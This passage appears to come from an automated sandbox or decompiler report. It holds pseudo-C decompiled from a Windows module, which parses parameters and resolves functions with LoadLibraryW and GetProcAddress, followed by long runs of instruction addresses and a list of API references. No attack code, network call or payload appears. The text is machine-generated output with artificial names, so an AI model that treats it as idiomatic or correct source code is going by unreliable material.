                                                    										case 0x16:
                                                    											__ecx = 0;
                                                    											__eflags = 0;
                                                    											goto L91;
                                                    										case 0x17:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L120;
                                                    										case 0x18:
                                                    											_t271 =  *(_t332 + 0x1014);
                                                    											__eflags = _t271 - _v16;
                                                    											if(_t271 > _v16) {
                                                    												_v16 = _t271;
                                                    											}
                                                    											_v8 = _v8 & 0x00000000;
                                                    											_v20 = _v20 & 0x00000000;
                                                    											_v36 - 3 = _t271 - (_v36 == 3);
                                                    											if(_t271 != _v36 == 3) {
                                                    												L85:
                                                    												_v40 = 1;
                                                    											}
                                                    											goto L57;
                                                    										case 0x19:
                                                    											L107:
                                                    											__ecx = 0;
                                                    											_v8 = 2;
                                                    											__ecx = 1;
                                                    											goto L91;
                                                    										case 0x1a:
                                                    											L118:
                                                    											_push(5);
                                                    											goto L123;
                                                    										case 0x1b:
                                                    											L109:
                                                    											__ecx = 0;
                                                    											_v8 = 3;
                                                    											__ecx = 1;
                                                    											goto L91;
                                                    										case 0x1c:
                                                    											L111:
                                                    											__ecx = 0;
                                                    											__ecx = 1;
                                                    											goto L91;
                                                    										case 0x1d:
                                                    											L122:
                                                    											_push(6);
                                                    											goto L123;
                                                    										case 0x1e:
                                                    											L113:
                                                    											_push(2);
                                                    											goto L123;
                                                    										case 0x1f:
                                                    											__eax =  &_v12;
                                                    											__eax = E726F1B86( &_v12);
                                                    											__ebx = __eax;
                                                    											__ebx = __eax + 1;
                                                    											goto L97;
                                                    										case 0x20:
                                                    											L116:
                                                    											_v52 = _v52 + 1;
                                                    											_push(4);
                                                    											_pop(__ecx);
                                                    											goto L91;
                                                    										case 0x21:
                                                    											L120:
                                                    											_push(4);
                                                    											L123:
                                                    											_pop(__ecx);
                                                    											L91:
                                                    											__edi = _v16;
                                                    											__edx =  *(0x726f405c + __ecx * 4);
                                                    											__eax =  ~__eax;
                                                    											asm("sbb eax, eax");
                                                    											_v40 = 1;
                                                    											__edi = _v16 << 5;
                                                    											__eax = __eax & 0x00008000;
                                                    											__edi = (_v16 << 5) + __esi;
                                                    											__eax = __eax | __ecx;
                                                    											__eflags = _v8;
                                                    											 *(__edi + 0x1018) = __eax;
                                                    											if(_v8 < 0) {
                                                    												L93:
                                                    												__edx = 0;
                                                    												__edx = 1;
                                                    												__eflags = 1;
                                                    												L94:
                                                    												__eflags = _v8 - 1;
                                                    												 *(__edi + 0x1028) = __edx;
                                                    												if(_v8 == 1) {
                                                    													__eax =  &_v12;
                                                    													__eax = E726F1B86( &_v12);
                                                    													__eax = __eax + 1;
                                                    													__eflags = __eax;
                                                    													_v8 = __eax;
                                                    												}
                                                    												__eax = _v8;
                                                    												 *((intOrPtr*)(__edi + 0x101c)) = _v8;
                                                    												_t136 = _v16 + 0x81; // 0x81
                                                    												_t136 = _t136 << 5;
                                                    												__eax = 0;
                                                    												__eflags = 0;
                                                    												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
                                                    												 *((intOrPtr*)(__edi + 0x1030)) = 0;
                                                    												 *((intOrPtr*)(__edi + 0x102c)) = 0;
                                                    												L97:
                                                    												__eflags = __ebx;
                                                    												if(__ebx == 0) {
                                                    													goto L57;
                                                    												}
                                                    												L98:
                                                    												__eflags = _v20;
                                                    												_v40 = 1;
                                                    												if(_v20 != 0) {
                                                    													L103:
                                                    													__eflags = _v20 - 1;
                                                    													if(_v20 == 1) {
                                                    														__eax = _v16;
                                                    														__eax = _v16 << 5;
                                                    														__eflags = __eax;
                                                    														 *(__eax + __esi + 0x102c) = __ebx;
                                                    													}
                                                    													goto L105;
                                                    												}
                                                    												_v16 = _v16 << 5;
                                                    												_t144 = __esi + 0x1030; // 0x1030
                                                    												__edi = (_v16 << 5) + _t144;
                                                    												__eax =  *__edi;
                                                    												__eflags = __eax - 0xffffffff;
                                                    												if(__eax <= 0xffffffff) {
                                                    													L101:
                                                    													__eax = GlobalFree(__eax);
                                                    													L102:
                                                    													 *__edi = __ebx;
                                                    													goto L103;
                                                    												}
                                                    												__eflags = __eax - 0x19;
                                                    												if(__eax <= 0x19) {
                                                    													goto L102;
                                                    												}
                                                    												goto L101;
                                                    											}
                                                    											__eflags = __edx;
                                                    											if(__edx > 0) {
                                                    												goto L94;
                                                    											}
                                                    											goto L93;
                                                    										case 0x22:
                                                    											goto L57;
                                                    									}
                                                    								}
                                                    								_t272 = _t269 - 1;
                                                    								__eflags = _t272;
                                                    								if(_t272 == 0) {
                                                    									_v16 = _t283;
                                                    									goto L80;
                                                    								}
                                                    								__eflags = _t272 != 1;
                                                    								if(_t272 != 1) {
                                                    									goto L162;
                                                    								}
                                                    								__eflags = _t286 - 0x6e;
                                                    								if(__eflags > 0) {
                                                    									_t309 = _t286 - 0x72;
                                                    									__eflags = _t309;
                                                    									if(_t309 == 0) {
                                                    										_push(4);
                                                    										L74:
                                                    										_pop(_t274);
                                                    										L75:
                                                    										__eflags = _v8 - 1;
                                                    										if(_v8 != 1) {
                                                    											_t96 = _t332 + 0x1010;
                                                    											 *_t96 =  *(_t332 + 0x1010) &  !_t274;
                                                    											__eflags =  *_t96;
                                                    										} else {
                                                    											 *(_t332 + 0x1010) =  *(_t332 + 0x1010) | _t274;
                                                    										}
                                                    										_v8 = 1;
                                                    										goto L57;
                                                    									}
                                                    									_t312 = _t309 - 1;
                                                    									__eflags = _t312;
                                                    									if(_t312 == 0) {
                                                    										_push(0x10);
                                                    										goto L74;
                                                    									}
                                                    									__eflags = _t312 != 0;
                                                    									if(_t312 != 0) {
                                                    										goto L57;
                                                    									}
                                                    									_push(0x40);
                                                    									goto L74;
                                                    								}
                                                    								if(__eflags == 0) {
                                                    									_push(8);
                                                    									goto L74;
                                                    								}
                                                    								_t315 = _t286 - 0x21;
                                                    								__eflags = _t315;
                                                    								if(_t315 == 0) {
                                                    									_v8 =  ~_v8;
                                                    									goto L57;
                                                    								}
                                                    								_t316 = _t315 - 0x11;
                                                    								__eflags = _t316;
                                                    								if(_t316 == 0) {
                                                    									_t274 = 0x100;
                                                    									goto L75;
                                                    								}
                                                    								_t317 = _t316 - 0x31;
                                                    								__eflags = _t317;
                                                    								if(_t317 == 0) {
                                                    									_t274 = 1;
                                                    									goto L75;
                                                    								}
                                                    								__eflags = _t317 != 0;
                                                    								if(_t317 != 0) {
                                                    									goto L57;
                                                    								}
                                                    								_push(0x20);
                                                    								goto L74;
                                                    							} else {
                                                    								_v32 = _t283;
                                                    								_v36 = _t283;
                                                    								goto L20;
                                                    							}
                                                    						}
                                                    						__eflags =  *((short*)(_t321 - 2)) - 0x3a;
                                                    						if( *((short*)(_t321 - 2)) != 0x3a) {
                                                    							goto L17;
                                                    						}
                                                    						__eflags = _v32 - _t283;
                                                    						if(_v32 == _t283) {
                                                    							goto L43;
                                                    						}
                                                    						goto L17;
                                                    					}
                                                    					_t277 = _t258 - 5;
                                                    					if(_t277 == 0) {
                                                    						__eflags = _v44 - _t283;
                                                    						if(_v44 != _t283) {
                                                    							goto L43;
                                                    						} else {
                                                    							__eflags = _v36 - 3;
                                                    							_v32 = 1;
                                                    							_v8 = _t283;
                                                    							_v20 = _t283;
                                                    							_v16 = (0 | _v36 == 0x00000003) + 1;
                                                    							_v40 = _t283;
                                                    							goto L20;
                                                    						}
                                                    					}
                                                    					_t281 = _t277 - 1;
                                                    					if(_t281 == 0) {
                                                    						__eflags = _v44 - _t283;
                                                    						if(_v44 != _t283) {
                                                    							goto L43;
                                                    						} else {
                                                    							_v32 = 2;
                                                    							_v8 = _t283;
                                                    							_v20 = _t283;
                                                    							goto L20;
                                                    						}
                                                    					}
                                                    					if(_t281 != 0x16) {
                                                    						goto L43;
                                                    					} else {
                                                    						_v32 = 3;
                                                    						_v8 = 1;
                                                    						goto L20;
                                                    					}
                                                    				}
                                                    				GlobalFree(_v56);
                                                    				GlobalFree(_v24);
                                                    				GlobalFree(_v48);
                                                    				if(_t332 == _t283 ||  *(_t332 + 0x100c) != _t283) {
                                                    					L182:
                                                    					return _t332;
                                                    				} else {
                                                    					_t225 =  *_t332 - 1;
                                                    					if(_t225 == 0) {
                                                    						_t187 = _t332 + 8; // 0x8
                                                    						_t324 = _t187;
                                                    						__eflags =  *_t324 - _t283;
                                                    						if( *_t324 != _t283) {
                                                    							_t226 = GetModuleHandleW(_t324);
                                                    							__eflags = _t226 - _t283;
                                                    							 *(_t332 + 0x1008) = _t226;
                                                    							if(_t226 != _t283) {
                                                    								L171:
                                                    								_t192 = _t332 + 0x808; // 0x808
                                                    								_t325 = _t192;
                                                    								_t227 = E726F16BD( *(_t332 + 0x1008), _t325);
                                                    								__eflags = _t227 - _t283;
                                                    								 *(_t332 + 0x100c) = _t227;
                                                    								if(_t227 == _t283) {
                                                    									__eflags =  *_t325 - 0x23;
                                                    									if( *_t325 == 0x23) {
                                                    										_t195 = _t332 + 0x80a; // 0x80a
                                                    										_t231 = E726F13B1(_t195);
                                                    										__eflags = _t231 - _t283;
                                                    										if(_t231 != _t283) {
                                                    											__eflags = _t231 & 0xffff0000;
                                                    											if((_t231 & 0xffff0000) == 0) {
                                                    												 *(_t332 + 0x100c) = GetProcAddress( *(_t332 + 0x1008), _t231 & 0x0000ffff);
                                                    											}
                                                    										}
                                                    									}
                                                    								}
                                                    								__eflags = _v52 - _t283;
                                                    								if(_v52 != _t283) {
                                                    									L178:
                                                    									_t325[lstrlenW(_t325)] = 0x57;
                                                    									_t229 = E726F16BD( *(_t332 + 0x1008), _t325);
                                                    									__eflags = _t229 - _t283;
                                                    									if(_t229 != _t283) {
                                                    										L166:
                                                    										 *(_t332 + 0x100c) = _t229;
                                                    										goto L182;
                                                    									}
                                                    									__eflags =  *(_t332 + 0x100c) - _t283;
                                                    									L180:
                                                    									if(__eflags != 0) {
                                                    										goto L182;
                                                    									}
                                                    									L181:
                                                    									_t206 = _t332 + 4;
                                                    									 *_t206 =  *(_t332 + 4) | 0xffffffff;
                                                    									__eflags =  *_t206;
                                                    									goto L182;
                                                    								} else {
                                                    									__eflags =  *(_t332 + 0x100c) - _t283;
                                                    									if( *(_t332 + 0x100c) != _t283) {
                                                    										goto L182;
                                                    									}
                                                    									goto L178;
                                                    								}
                                                    							}
                                                    							_t234 = LoadLibraryW(_t324);
                                                    							__eflags = _t234 - _t283;
                                                    							 *(_t332 + 0x1008) = _t234;
                                                    							if(_t234 == _t283) {
                                                    								goto L181;
                                                    							}
                                                    							goto L171;
                                                    						}
                                                    						_t188 = _t332 + 0x808; // 0x808
                                                    						_t236 = E726F13B1(_t188);
                                                    						 *(_t332 + 0x100c) = _t236;
                                                    						__eflags = _t236 - _t283;
                                                    						goto L180;
                                                    					}
                                                    					_t237 = _t225 - 1;
                                                    					if(_t237 == 0) {
                                                    						_t185 = _t332 + 0x808; // 0x808
                                                    						_t238 = _t185;
                                                    						__eflags =  *_t238 - _t283;
                                                    						if( *_t238 == _t283) {
                                                    							goto L182;
                                                    						}
                                                    						_t229 = E726F13B1(_t238);
                                                    						L165:
                                                    						goto L166;
                                                    					}
                                                    					if(_t237 != 1) {
                                                    						goto L182;
                                                    					}
                                                    					_t81 = _t332 + 8; // 0x8
                                                    					_t284 = _t81;
                                                    					_t326 = E726F13B1(_t81);
                                                    					 *(_t332 + 0x1008) = _t326;
                                                    					if(_t326 == 0) {
                                                    						goto L181;
                                                    					}
                                                    					 *(_t332 + 0x104c) =  *(_t332 + 0x104c) & 0x00000000;
                                                    					 *((intOrPtr*)(_t332 + 0x1050)) = E726F12CC(_t284);
                                                    					 *(_t332 + 0x103c) =  *(_t332 + 0x103c) & 0x00000000;
                                                    					 *((intOrPtr*)(_t332 + 0x1048)) = 1;
                                                    					 *((intOrPtr*)(_t332 + 0x1038)) = 1;
                                                    					_t90 = _t332 + 0x808; // 0x808
                                                    					_t229 =  *(_t326->i + E726F13B1(_t90) * 4);
                                                    					goto L165;
                                                    				}
                                                    			}


































































                                                    0x726f1c07
                                                    0x726f1c0a
                                                    0x726f1c0d
                                                    0x726f1c10
                                                    0x726f1c13
                                                    0x726f1c16
                                                    0x726f1c19
                                                    0x726f1c1b
                                                    0x726f1c1e
                                                    0x726f1c21
                                                    0x726f1c26
                                                    0x726f1c29
                                                    0x726f1c31
                                                    0x726f1c39
                                                    0x726f1c3b
                                                    0x726f1c3e
                                                    0x726f1c46
                                                    0x726f1c46
                                                    0x726f1c4b
                                                    0x726f1c4e
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1c5b
                                                    0x726f1c60
                                                    0x726f1c62
                                                    0x726f1cf4
                                                    0x726f1cf4
                                                    0x726f1cf4
                                                    0x726f1cf8
                                                    0x726f1cfb
                                                    0x726f1cfd
                                                    0x726f1d1f
                                                    0x726f1d21
                                                    0x726f1d24
                                                    0x726f1d2d
                                                    0x726f1d33
                                                    0x726f1d35
                                                    0x726f1d3b
                                                    0x726f1d3b
                                                    0x726f1d41
                                                    0x726f1d44
                                                    0x726f1d44
                                                    0x726f1d47
                                                    0x726f1d47
                                                    0x726f1d4d
                                                    0x726f1d4f
                                                    0x726f1d4f
                                                    0x726f1d51
                                                    0x726f1d54
                                                    0x726f1d57
                                                    0x726f1d5d
                                                    0x726f1d63
                                                    0x726f1d66
                                                    0x726f1d8a
                                                    0x726f1d8d
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1d90
                                                    0x726f1d92
                                                    0x726f1da0
                                                    0x726f1da3
                                                    0x726f1da5
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1da7
                                                    0x726f1da7
                                                    0x726f1da7
                                                    0x726f1dad
                                                    0x726f1daf
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1db1
                                                    0x726f1db3
                                                    0x726f1db5
                                                    0x726f1db7
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1db7
                                                    0x726f1db9
                                                    0x726f1dbb
                                                    0x726f1dbd
                                                    0x726f1dbd
                                                    0x726f1dc3
                                                    0x726f1dc9
                                                    0x726f1dcb
                                                    0x726f1ddf
                                                    0x726f1ddf
                                                    0x726f1de1
                                                    0x726f1dcd
                                                    0x726f1dd3
                                                    0x726f1dd6
                                                    0x726f1dd6
                                                    0x00000000
                                                    0x726f1d68
                                                    0x726f1d68
                                                    0x726f1d68
                                                    0x726f1d69
                                                    0x726f1d71
                                                    0x726f1d75
                                                    0x726f1d7b
                                                    0x726f1d7f
                                                    0x00000000
                                                    0x726f1d7f
                                                    0x726f1d6b
                                                    0x726f1d6b
                                                    0x726f1d6c
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1d6e
                                                    0x726f1d6f
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1d6f
                                                    0x726f1cff
                                                    0x726f1d00
                                                    0x726f1d09
                                                    0x726f1d0c
                                                    0x726f1d19
                                                    0x726f1d19
                                                    0x726f1d0e
                                                    0x726f1d0e
                                                    0x726f1de7
                                                    0x726f1dea
                                                    0x726f1dee
                                                    0x726f1e61
                                                    0x726f1e65
                                                    0x726f1c43
                                                    0x00000000
                                                    0x726f1c43
                                                    0x00000000
                                                    0x726f1e65
                                                    0x726f1cfd
                                                    0x726f1c68
                                                    0x726f1c6b
                                                    0x726f1cce
                                                    0x726f1cd1
                                                    0x726f1ce3
                                                    0x726f1ce3
                                                    0x726f1ce6
                                                    0x726f1df3
                                                    0x726f1df6
                                                    0x726f1df6
                                                    0x726f1df8
                                                    0x726f21ae
                                                    0x726f21c6
                                                    0x726f21c6
                                                    0x726f21c9
                                                    0x00000000
                                                    0x00000000
                                                    0x726f21b3
                                                    0x726f21b4
                                                    0x726f21b7
                                                    0x726f21ba
                                                    0x726f2244
                                                    0x726f224b
                                                    0x726f2251
                                                    0x726f2255
                                                    0x726f1e5c
                                                    0x726f1e5d
                                                    0x726f1e5d
                                                    0x726f1e5e
                                                    0x00000000
                                                    0x726f1e5e
                                                    0x726f21c0
                                                    0x726f21c3
                                                    0x726f21c3
                                                    0x726f21cb
                                                    0x726f21ce
                                                    0x726f2238
                                                    0x726f1e51
                                                    0x726f1e54
                                                    0x726f1e57
                                                    0x726f1e5a
                                                    0x726f1e5a
                                                    0x00000000
                                                    0x726f1e5a
                                                    0x726f21d0
                                                    0x726f21d3
                                                    0x726f21da
                                                    0x726f21da
                                                    0x726f21dd
                                                    0x726f21e1
                                                    0x726f21f5
                                                    0x726f21f5
                                                    0x726f21f8
                                                    0x726f21fc
                                                    0x00000000
                                                    0x00000000
                                                    0x726f21fe
                                                    0x726f2202
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2204
                                                    0x726f220b
                                                    0x726f220b
                                                    0x726f2211
                                                    0x726f2214
                                                    0x726f2230
                                                    0x726f2216
                                                    0x726f221f
                                                    0x726f2222
                                                    0x726f2222
                                                    0x00000000
                                                    0x726f2214
                                                    0x726f21e3
                                                    0x726f21e6
                                                    0x726f21ea
                                                    0x00000000
                                                    0x00000000
                                                    0x726f21ec
                                                    0x00000000
                                                    0x726f21ec
                                                    0x726f21d5
                                                    0x726f21d8
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f21d8
                                                    0x726f1dfe
                                                    0x726f1dfe
                                                    0x726f1dff
                                                    0x726f1f49
                                                    0x726f1f49
                                                    0x726f1f50
                                                    0x726f1f53
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1f60
                                                    0x00000000
                                                    0x726f214b
                                                    0x726f214e
                                                    0x726f2151
                                                    0x726f2151
                                                    0x726f2152
                                                    0x726f2153
                                                    0x726f2156
                                                    0x726f2159
                                                    0x726f215c
                                                    0x00000000
                                                    0x00000000
                                                    0x726f215e
                                                    0x726f215e
                                                    0x726f2162
                                                    0x726f217a
                                                    0x726f217d
                                                    0x726f2181
                                                    0x726f2187
                                                    0x00000000
                                                    0x726f2187
                                                    0x726f2164
                                                    0x726f2164
                                                    0x726f2167
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2169
                                                    0x726f216c
                                                    0x726f216e
                                                    0x726f216f
                                                    0x726f216f
                                                    0x726f216f
                                                    0x726f2170
                                                    0x726f2173
                                                    0x726f2176
                                                    0x726f2177
                                                    0x726f2151
                                                    0x726f2152
                                                    0x726f2153
                                                    0x726f2156
                                                    0x726f2159
                                                    0x726f215c
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f215c
                                                    0x00000000
                                                    0x726f1fa7
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1fb3
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1f9a
                                                    0x726f1f9e
                                                    0x726f1fa2
                                                    0x00000000
                                                    0x00000000
                                                    0x726f211c
                                                    0x726f2120
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2126
                                                    0x726f212f
                                                    0x726f2136
                                                    0x726f213e
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2083
                                                    0x726f2083
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1fbc
                                                    0x00000000
                                                    0x00000000
                                                    0x726f21a6
                                                    0x00000000
                                                    0x00000000
                                                    0x726f208b
                                                    0x726f208d
                                                    0x726f208d
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2196
                                                    0x00000000
                                                    0x00000000
                                                    0x726f219a
                                                    0x00000000
                                                    0x00000000
                                                    0x726f21a2
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20d3
                                                    0x726f20d5
                                                    0x726f20d5
                                                    0x00000000
                                                    0x00000000
                                                    0x726f209d
                                                    0x726f209f
                                                    0x726f209f
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20af
                                                    0x726f20b1
                                                    0x726f20b1
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20e1
                                                    0x726f20e3
                                                    0x726f20e3
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20ba
                                                    0x726f20bc
                                                    0x726f20bc
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20c1
                                                    0x00000000
                                                    0x00000000
                                                    0x726f219e
                                                    0x726f21a8
                                                    0x726f21a8
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20ec
                                                    0x726f20f0
                                                    0x726f20f5
                                                    0x726f20f8
                                                    0x726f20f9
                                                    0x726f20fc
                                                    0x726f2102
                                                    0x726f2102
                                                    0x00000000
                                                    0x00000000
                                                    0x726f218e
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20c5
                                                    0x726f20c7
                                                    0x726f20c7
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1fc3
                                                    0x726f1fc3
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20da
                                                    0x726f20dc
                                                    0x726f20dc
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1f67
                                                    0x726f1f6d
                                                    0x726f1f70
                                                    0x726f1f72
                                                    0x726f1f72
                                                    0x726f1f75
                                                    0x726f1f79
                                                    0x726f1f86
                                                    0x726f1f88
                                                    0x726f1f8e
                                                    0x726f1f8e
                                                    0x726f1f8e
                                                    0x00000000
                                                    0x00000000
                                                    0x726f208e
                                                    0x726f208e
                                                    0x726f2090
                                                    0x726f2097
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20d6
                                                    0x726f20d6
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20a0
                                                    0x726f20a0
                                                    0x726f20a2
                                                    0x726f20a9
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20b2
                                                    0x726f20b2
                                                    0x726f20b4
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20e4
                                                    0x726f20e4
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20bd
                                                    0x726f20bd
                                                    0x00000000
                                                    0x00000000
                                                    0x726f210a
                                                    0x726f210e
                                                    0x726f2113
                                                    0x726f2116
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20c8
                                                    0x726f20c8
                                                    0x726f20cb
                                                    0x726f20cd
                                                    0x00000000
                                                    0x00000000
                                                    0x726f20dd
                                                    0x726f20dd
                                                    0x726f20e6
                                                    0x726f20e6
                                                    0x726f1fc5
                                                    0x726f1fc5
                                                    0x726f1fc8
                                                    0x726f1fcf
                                                    0x726f1fd1
                                                    0x726f1fd3
                                                    0x726f1fda
                                                    0x726f1fdd
                                                    0x726f1fe2
                                                    0x726f1fe4
                                                    0x726f1fe6
                                                    0x726f1fea
                                                    0x726f1ff0
                                                    0x726f1ff6
                                                    0x726f1ff6
                                                    0x726f1ff8
                                                    0x726f1ff8
                                                    0x726f1ff9
                                                    0x726f1ff9
                                                    0x726f1ffd
                                                    0x726f2003
                                                    0x726f2005
                                                    0x726f2009
                                                    0x726f200e
                                                    0x726f200e
                                                    0x726f2010
                                                    0x726f2010
                                                    0x726f2013
                                                    0x726f2016
                                                    0x726f201f
                                                    0x726f2025
                                                    0x726f2028
                                                    0x726f2028
                                                    0x726f202a
                                                    0x726f202d
                                                    0x726f2033
                                                    0x726f2039
                                                    0x726f2039
                                                    0x726f203b
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2041
                                                    0x726f2041
                                                    0x726f2045
                                                    0x726f204c
                                                    0x726f2070
                                                    0x726f2070
                                                    0x726f2074
                                                    0x726f2076
                                                    0x726f2079
                                                    0x726f2079
                                                    0x726f207c
                                                    0x726f207c
                                                    0x00000000
                                                    0x726f2074
                                                    0x726f2051
                                                    0x726f2054
                                                    0x726f2054
                                                    0x726f205b
                                                    0x726f205d
                                                    0x726f2060
                                                    0x726f2067
                                                    0x726f2068
                                                    0x726f206e
                                                    0x726f206e
                                                    0x00000000
                                                    0x726f206e
                                                    0x726f2062
                                                    0x726f2065
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2065
                                                    0x726f1ff2
                                                    0x726f1ff4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1f60
                                                    0x726f1e05
                                                    0x726f1e05
                                                    0x726f1e06
                                                    0x726f1f46
                                                    0x00000000
                                                    0x726f1f46
                                                    0x726f1e0c
                                                    0x726f1e0d
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1e13
                                                    0x726f1e16
                                                    0x726f1f0b
                                                    0x726f1f0b
                                                    0x726f1f0e
                                                    0x726f1f23
                                                    0x726f1f25
                                                    0x726f1f25
                                                    0x726f1f26
                                                    0x726f1f29
                                                    0x726f1f2c
                                                    0x726f1f38
                                                    0x726f1f38
                                                    0x726f1f38
                                                    0x726f1f2e
                                                    0x726f1f2e
                                                    0x726f1f2e
                                                    0x726f1f3e
                                                    0x00000000
                                                    0x726f1f3e
                                                    0x726f1f10
                                                    0x726f1f10
                                                    0x726f1f11
                                                    0x726f1f1f
                                                    0x00000000
                                                    0x726f1f1f
                                                    0x726f1f14
                                                    0x726f1f15
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1f1b
                                                    0x00000000
                                                    0x726f1f1b
                                                    0x726f1e1c
                                                    0x726f1f07
                                                    0x00000000
                                                    0x726f1f07
                                                    0x726f1e22
                                                    0x726f1e22
                                                    0x726f1e25
                                                    0x726f1e4e
                                                    0x00000000
                                                    0x726f1e4e
                                                    0x726f1e27
                                                    0x726f1e27
                                                    0x726f1e2a
                                                    0x726f1e44
                                                    0x00000000
                                                    0x726f1e44
                                                    0x726f1e2c
                                                    0x726f1e2c
                                                    0x726f1e2f
                                                    0x726f1e3e
                                                    0x00000000
                                                    0x726f1e3e
                                                    0x726f1e32
                                                    0x726f1e33
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1e35
                                                    0x00000000
                                                    0x726f1cec
                                                    0x726f1cec
                                                    0x726f1cef
                                                    0x00000000
                                                    0x726f1cef
                                                    0x726f1ce6
                                                    0x726f1cd3
                                                    0x726f1cd8
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1cda
                                                    0x726f1cdd
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1cdd
                                                    0x726f1c6d
                                                    0x726f1c70
                                                    0x726f1ca6
                                                    0x726f1ca9
                                                    0x00000000
                                                    0x726f1caf
                                                    0x726f1cb1
                                                    0x726f1cb5
                                                    0x726f1cbc
                                                    0x726f1cc3
                                                    0x726f1cc6
                                                    0x726f1cc9
                                                    0x00000000
                                                    0x726f1cc9
                                                    0x726f1ca9
                                                    0x726f1c72
                                                    0x726f1c73
                                                    0x726f1c8e
                                                    0x726f1c91
                                                    0x00000000
                                                    0x726f1c97
                                                    0x726f1c97
                                                    0x726f1c9e
                                                    0x726f1ca1
                                                    0x00000000
                                                    0x726f1ca1
                                                    0x726f1c91
                                                    0x726f1c78
                                                    0x00000000
                                                    0x726f1c7e
                                                    0x726f1c7e
                                                    0x726f1c85
                                                    0x00000000
                                                    0x726f1c85
                                                    0x726f1c78
                                                    0x726f1e74
                                                    0x726f1e79
                                                    0x726f1e7e
                                                    0x726f1e82
                                                    0x726f2355
                                                    0x726f235b
                                                    0x726f1e94
                                                    0x726f1e96
                                                    0x726f1e97
                                                    0x726f227e
                                                    0x726f227e
                                                    0x726f2281
                                                    0x726f2284
                                                    0x726f22a1
                                                    0x726f22a7
                                                    0x726f22a9
                                                    0x726f22af
                                                    0x726f22c6
                                                    0x726f22c6
                                                    0x726f22c6
                                                    0x726f22d3
                                                    0x726f22d9
                                                    0x726f22dc
                                                    0x726f22e2
                                                    0x726f22e4
                                                    0x726f22e8
                                                    0x726f22ea
                                                    0x726f22f1
                                                    0x726f22f6
                                                    0x726f22f9
                                                    0x726f22fb
                                                    0x726f2300
                                                    0x726f2312
                                                    0x726f2312
                                                    0x726f2300
                                                    0x726f22f9
                                                    0x726f22e8
                                                    0x726f2318
                                                    0x726f231b
                                                    0x726f2325
                                                    0x726f232d
                                                    0x726f233a
                                                    0x726f2340
                                                    0x726f2343
                                                    0x726f2273
                                                    0x726f2273
                                                    0x00000000
                                                    0x726f2273
                                                    0x726f2349
                                                    0x726f234f
                                                    0x726f234f
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2351
                                                    0x726f2351
                                                    0x726f2351
                                                    0x726f2351
                                                    0x00000000
                                                    0x726f231d
                                                    0x726f231d
                                                    0x726f2323
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2323
                                                    0x726f231b
                                                    0x726f22b2
                                                    0x726f22b8
                                                    0x726f22ba
                                                    0x726f22c0
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f22c0
                                                    0x726f2286
                                                    0x726f228d
                                                    0x726f2293
                                                    0x726f2299
                                                    0x00000000
                                                    0x726f2299
                                                    0x726f1e9d
                                                    0x726f1e9e
                                                    0x726f225d
                                                    0x726f225d
                                                    0x726f2263
                                                    0x726f2266
                                                    0x00000000
                                                    0x00000000
                                                    0x726f226d
                                                    0x726f2272
                                                    0x00000000
                                                    0x726f2272
                                                    0x726f1ea5
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1eab
                                                    0x726f1eab
                                                    0x726f1eb4
                                                    0x726f1eb9
                                                    0x726f1ebf
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1ec5
                                                    0x726f1ed2
                                                    0x726f1ed8
                                                    0x726f1ee2
                                                    0x726f1ee8
                                                    0x726f1ef0
                                                    0x726f1f00
                                                    0x00000000
                                                    0x726f1f00

                                                    APIs
                                                      • Part of subcall function 726F12BB: GlobalAlloc.KERNELBASE(00000040,?,726F12DB,?,726F137F,00000019,726F11CA,-000000A0), ref: 726F12C5
                                                    • GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 726F1D2D
                                                    • lstrcpyW.KERNEL32 ref: 726F1D75
                                                    • lstrcpyW.KERNEL32 ref: 726F1D7F
                                                    • GlobalFree.KERNEL32 ref: 726F1D92
                                                    • GlobalFree.KERNEL32 ref: 726F1E74
